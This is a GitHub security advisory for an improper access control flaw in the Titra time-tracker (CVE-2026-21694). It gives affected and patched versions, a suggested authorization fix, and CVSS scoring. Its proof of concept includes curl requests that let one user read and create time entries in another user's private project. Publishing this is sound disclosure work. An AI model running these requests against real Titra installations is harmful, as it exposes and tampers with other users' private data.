Skip to content

Improper Access Control in Titra

Moderate
faburem published GHSA-mr2r-wjf8-cj3c Jan 3, 2026

Package

Titra

Affected versions

<= 0.99.48

Patched versions

0.99.50

Description

Summary

Titra suffers from Broken Access Control vulnerabilities on multiple endpoint, allowing another user to view and edit other user's time entries in a private project.

Details

  1. GET /project/timeentries/:projectId
  2. GET /project/timeentriesfordaterange/:projectId/:fromDate/:toDate
    server/APIroutes.js - Lines 218-223 and 261-275

And

  1. POST /timeentry/create/
    server/APIroutes.js - Lines 77-107

PoC

The UserA_Project_ID can be obtained through:

  • Bruteforcing
  • Social Engineering

GET Endpoints

  1. Create two users: UserA and UserB
  2. UserA creates a private project and adds time entries
  3. UserB generates an API token
  4. UserB sends request to /project/timeentries/{UserA_Project_ID} or
    /project/timeentriesfordaterange/{UserA_Project_ID}/{START_DATE}/{END_DATE}
  5. UserB receives UserA's private time entries
curl -H "Authorization: Bearer USERB_API_TOKEN" \
  "http://localhost:3000/project/timeentries/USER_A_PROJECT_ID"

curl -H "Authorization: Bearer USERB_API_TOKEN" \
  "http://localhost:3000/project/timeentriesfordaterange/USER_A_PROJECT_ID/2025-01-01/2025-12-31"
GET.mp4

POST Endpoint

  1. Create two users: UserA and UserB
  2. UserA creates a private project
  3. UserB generates an API token
  4. UserB sends a POST request to /timeentry/create/ with UserA's project ID
  5. UserB successfully creates a time entry in UserA's private project
curl -X POST "http://192.168.52.1:3000/timeentry/create/" \
  -H "Authorization: Bearer USERB_API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "projectId": "USER_A_PROJECT_ID",
    "task": "Unauthorized Entry",
    "date": "2025-12-27",
    "hours": 8
  }'
POST.mp4

In the demo, I use the payload shown from the Mass Assignment PoC. The logic of improper access control should stay the same, mass assignment only signifies the severity.

Suggested Fix

Add project authorization check similar to /project/tasks/ endpoint at line 569:

const project = await Projects.findOneAsync({
  _id: json.projectId,
  $or: [{ userId: meteorUser._id }, { public: true }, { team: meteorUser._id }],
})
if (!project) {
  sendResponse(res, 403, 'Access denied to project.')
  return
}

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

CVE ID

CVE-2026-21694

Weaknesses

Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Learn more on MITRE.

Credits